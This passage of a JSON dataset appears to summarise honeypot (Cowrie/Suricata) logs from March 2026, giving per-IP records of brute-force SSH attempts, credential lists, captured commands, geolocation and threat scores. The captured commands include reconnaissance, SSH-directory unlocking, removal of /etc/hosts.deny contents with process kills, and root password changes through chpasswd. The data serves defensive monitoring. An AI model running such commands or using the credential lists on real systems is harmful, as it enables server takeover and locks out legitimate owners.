        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Boom123!\\nGTIR5ENGta2f\\nGTIR5ENGta2f\\n\"|passwd",
        "echo \"omega123!\\ngDmzNShGQP4X\\ngDmzNShGQP4X\\n\"|passwd",
        "echo \"root:6qjgioJbAts1\"|chpasswd|bash",
        "echo \"root:GpuDANQAwXF8\"|chpasswd|bash",
        "echo \"root:KqIzo5MI1Dpl\"|chpasswd|bash",
        "echo -e \"Boom123!\\nGTIR5ENGta2f\\nGTIR5ENGta2f\"|passwd|bash",
        "echo -e \"omega123!\\ngDmzNShGQP4X\\ngDmzNShGQP4X\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 136306,
      "as_org": "Texes Connect Private Limited",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 622,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:44:17.984000+00:00",
        "last_seen_30d": "2026-03-30T15:10:30.176000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 507,
        "Suricata": 115
      }
    },
    "121.167.77.220": {
      "attack_count": 496,
      "first_seen": "2026-03-02T15:38:55.354Z",
      "last_seen": "2026-03-05T22:31:30.610Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bitwarden",
        "k8suser",
        "frank",
        "kapsch",
        "newusername",
        "ops",
        "salman",
        "yan",
        "zabbix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "!QAZ2wsx3edc",
        "1234",
        "123456.w",
        "12345678",
        "1234567890987654321",
        "1234asdf!@#$",
        "12qw12qw",
        "1312",
        "1qazxsw2@123",
        "7758521",
        "Admin!23",
        "Admin123!@",
        "Admin@786",
        "Al12345678",
        "Balaji@123",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"k8suser123!\\n6FbZLkDC8sh2\\n6FbZLkDC8sh2\\n\"|passwd",
        "echo \"root:20AIZscvW30S\"|chpasswd|bash",
        "echo \"root:4IBs0ZibrEWW\"|chpasswd|bash",
        "echo \"root:Jtni5ER3K2Vv\"|chpasswd|bash",
        "echo \"root:RfqbLN45wqVO\"|chpasswd|bash",
        "echo -e \"k8suser123!\\n6FbZLkDC8sh2\\n6FbZLkDC8sh2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 593,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:38:55.354000+00:00",
        "last_seen_30d": "2026-03-05T22:32:33.096000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 496,
        "Suricata": 97
      }
    },
    "188.166.243.1": {
      "attack_count": 479,
      "first_seen": "2026-03-08T18:55:40.630Z",
      "last_seen": "2026-03-29T22:44:13.810Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "central",
        "downloader",
        "carlo",
        "dev",
        "developer",
        "elearn",
        "gateway",
        "icecast",
        "mastodon",
        "nikhil",
        "remoteuser",
        "rtest",
        "shiyi",
        "vastbase"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "!@#QWEasdzxc",
        "1",
        "123123as",
        "1234",
        "12345",
        "123456",
        "123@Abc",
        "1qa@WS3ed",
        "1qaz2wsx,.",
        "Aa@121212",
        "Admin12345678",
        "Developer123",
        "Gateway123!",
        "Hetzner@2024",
        "Mastodon123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\n8iydmtSUXTqi\\n8iydmtSUXTqi\\n\"|passwd",
        "echo \"123\\nuf6PX1UJAvKD\\nuf6PX1UJAvKD\\n\"|passwd",
        "echo \"root:AEXlegICeULF\"|chpasswd|bash",
        "echo \"root:xxuh3YUxdqcd\"|chpasswd|bash",
        "echo -e \"123\\n8iydmtSUXTqi\\n8iydmtSUXTqi\"|passwd|bash",
        "echo -e \"123\\nuf6PX1UJAvKD\\nuf6PX1UJAvKD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 596,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:55:40.630000+00:00",
        "last_seen_30d": "2026-03-29T22:45:17.561000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 117
      }
    },
    "116.99.175.87": {
      "attack_count": 432,
      "first_seen": "2026-03-06T10:42:21.726Z",
      "last_seen": "2026-03-06T11:20:05.288Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 611,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:42:21.726000+00:00",
        "last_seen_30d": "2026-03-06T11:21:10.012000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 179
      }
    },
    "108.173.137.12": {
      "attack_count": 429,
      "first_seen": "2026-03-02T14:06:37.408Z",
      "last_seen": "2026-03-11T22:00:18.378Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "lekaren",
        "camera",
        "claude",
        "coder",
        "cyrus",
        "grid",
        "music",
        "zzy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "123456",
        "123456123!@#",
        "123456zxc$",
        "2026QWE#",
        "24zsxdcfv",
        "@qaz2026",
        "Aa123123!",
        "Aa123456789..",
        "Arthur123",
        "Hu@wei#12345",
        "R0ot!!123",
        "Redhat123",
        "Root!@#2024",
        "Root@12345",
        "Sa123456",
        "Us3r2024!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Arthur123\\nFH9RSEDXDmGn\\nFH9RSEDXDmGn\\n\"|passwd",
        "echo \"lekaren123!\\nDNt1YjmiOcXq\\nDNt1YjmiOcXq\\n\"|passwd",
        "echo \"root:EpMYe2jbLPQ6\"|chpasswd|bash",
        "echo \"root:sR7AHo3YzkSq\"|chpasswd|bash",
        "echo -e \"Arthur123\\nFH9RSEDXDmGn\\nFH9RSEDXDmGn\"|passwd|bash",
        "echo -e \"lekaren123!\\nDNt1YjmiOcXq\\nDNt1YjmiOcXq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Hinton",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:06:37.408000+00:00",
        "last_seen_30d": "2026-03-11T22:01:27.811000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 91
      }
    },
    "45.61.187.220": {
      "attack_count": 423,
      "first_seen": "2026-03-02T04:48:16.026Z",
      "last_seen": "2026-03-23T23:30:05.292Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "web",
        "bot1",
        "caja",
        "camera",
        "comp",
        "demon",
        "family",
        "gbase",
        "legales",
        "moon",
        "music",
        "prueba",
        "real",
        "solr",
        "yan",
        "znc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "!1q2w3e4r",
        "11221122",
        "123456",
        "1999",
        "ABCabc123.",
        "Bot1123",
        "Cc123456.",
        "Legales123",
        "Qw123456!",
        "Zxc!@#123",
        "a1",
        "aaa111!!!",
        "camera1234",
        "musicpass",
        "nevermind",
        "nopassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:e0HrG3NVXoNO\"|chpasswd|bash",
        "echo \"root:k2ewkNywItor\"|chpasswd|bash",
        "echo \"root:uTV2Szi002Ru\"|chpasswd|bash",
        "echo \"web@123\\npxO0uSkfiQJx\\npxO0uSkfiQJx\\n\"|passwd",
        "echo -e \"web@123\\npxO0uSkfiQJx\\npxO0uSkfiQJx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 510,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:48:16.026000+00:00",
        "last_seen_30d": "2026-03-23T23:31:08.673000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 423,
        "Suricata": 87
      }
    },
    "101.36.125.241": {
      "attack_count": 390,
      "first_seen": "2026-03-06T11:39:04.038Z",
      "last_seen": "2026-03-10T05:48:55.478Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "apexuser",
        "gg",
        "jagdish",
        "terraria",
        "andy",
        "chrism",
        "cisco",
        "clawd",
        "dheeraj",
        "ftp_test",
        "k8s",
        "promo",
        "saad",
        "sandro",
        "sav",
        "scan",
        "service",
        "sky"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "12345",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Abcd1234.",
        "Cisco123!",
        "Root12345",
        "Service123",
        "apexuser",
        "apexuser123!",
        "chrism",
        "dheeraj123!",
        "jagdish",
        "password",
        "saad123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\noUuivTzGYVg2\\noUuivTzGYVg2\\n\"|passwd",
        "echo \"jagdish\\nFmlWlmFPHieA\\nFmlWlmFPHieA\\n\"|passwd",
        "echo \"root:RsUscQlFxCjL\"|chpasswd|bash",
        "echo \"terraria123!\\nNOIofiw0OFR2\\nNOIofiw0OFR2\\n\"|passwd",
        "echo -e \"1234\\noUuivTzGYVg2\\noUuivTzGYVg2\"|passwd|bash",
        "echo -e \"jagdish\\nFmlWlmFPHieA\\nFmlWlmFPHieA\"|passwd|bash",
        "echo -e \"terraria123!\\nNOIofiw0OFR2\\nNOIofiw0OFR2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:39:04.038000+00:00",
        "last_seen_30d": "2026-03-10T05:50:04.098000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 390,
        "Suricata": 73
      }
    },
    "209.38.88.188": {
      "attack_count": 370,
      "first_seen": "2026-03-08T01:06:38.830Z",
      "last_seen": "2026-03-08T02:10:12.501Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "oracle",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "jira",
        "mysql",
        "nagios",
        "pul",
        "server",
        "test",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "password",
        "test",
        "111111",
        "123456",
        "654321",
        "pass",
        "passwd",
        "qwerty",
        "test123",
        "test321",
        "123321",
        "1234qwer",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "321123",
        "P@ssw0rd",
        "apache"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 530,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:06:38.830000+00:00",
        "last_seen_30d": "2026-03-08T02:11:13.087000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 370,
        "Suricata": 160
      }
    },
    "209.38.85.64": {
      "attack_count": 325,
      "first_seen": "2026-03-08T02:28:29.950Z",
      "last_seen": "2026-03-08T03:49:58.724Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "dspace",
        "odoo"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "321",
        "21",
        "P4ssw0rd",
        "P4ssword",
        "P@ssw0rd",
        "P@ssword",
        "Pa$w0rd",
        "Pa$word",
        "Passw0rd",
        "Password",
        "admin",
        "admin1",
        "admin12"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 471,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T02:28:29.950000+00:00",
        "last_seen_30d": "2026-03-08T03:51:02.065000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 146
      }
    },
    "172.174.167.21": {
      "attack_count": 323,
      "first_seen": "2026-03-20T13:33:26.889Z",
      "last_seen": "2026-03-20T14:05:34.773Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "(public key)",
        "1",
        "1111",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "1234qwer",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "4rfv$RFV"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 481,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:29:03.954000+00:00",
        "last_seen_30d": "2026-03-20T14:08:11.901000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 323,
        "Suricata": 158
      }
    },
    "156.238.246.148": {
      "attack_count": 311,
      "first_seen": "2026-03-15T20:17:07.692Z",
      "last_seen": "2026-03-17T18:28:03.101Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "moon",
        "patrick",
        "root2",
        "amir",
        "assistant",
        "bert",
        "celery",
        "choi",
        "client",
        "cw",
        "cyrus",
        "dario",
        "edu",
        "elk",
        "ethan",
        "mcuser",
        "ravi",
        "robin",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "1234",
        "Ethan123",
        "assistant123",
        "choipass",
        "client123!",
        "cwpass",
        "dodol123",
        "edupass",
        "moonpass",
        "patrick123",
        "sgp1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"moonpass\\njLCG5rqUgzgr\\njLCG5rqUgzgr\\n\"|passwd",
        "echo \"patrick123\\nYpHDZ1hFK2k7\\nYpHDZ1hFK2k7\\n\"|passwd",
        "echo \"root:UN7D9EjULTMN\"|chpasswd|bash",
        "echo -e \"moonpass\\njLCG5rqUgzgr\\njLCG5rqUgzgr\"|passwd|bash",
        "echo -e \"patrick123\\nYpHDZ1hFK2k7\\nYpHDZ1hFK2k7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:17:07.692000+00:00",
        "last_seen_30d": "2026-03-17T18:29:07.439000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 63
      }
    },
    "172.174.46.118": {
      "attack_count": 254,
      "first_seen": "2026-03-08T06:46:33.302Z",
      "last_seen": "2026-03-08T07:49:19.208Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "webuser",
        "angga",
        "canon",
        "ec2-user",
        "gw",
        "planka",
        "rstudio",
        "student4"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123456",
        "3245gs5662d34",
        "12345678",
        "1QAZ2wsx3edc",
        "Ec2-User123",
        "canon1234",
        "gw123",
        "password",
        "student4123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nBso9yC4RBXAE\\nBso9yC4RBXAE\\n\"|passwd",
        "echo \"password\\nr5dCD2BU5HWo\\nr5dCD2BU5HWo\\n\"|passwd",
        "echo \"root:IssWFXfQGyao\"|chpasswd|bash",
        "echo -e \"123456\\nBso9yC4RBXAE\\nBso9yC4RBXAE\"|passwd|bash",
        "echo -e \"password\\nr5dCD2BU5HWo\\nr5dCD2BU5HWo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
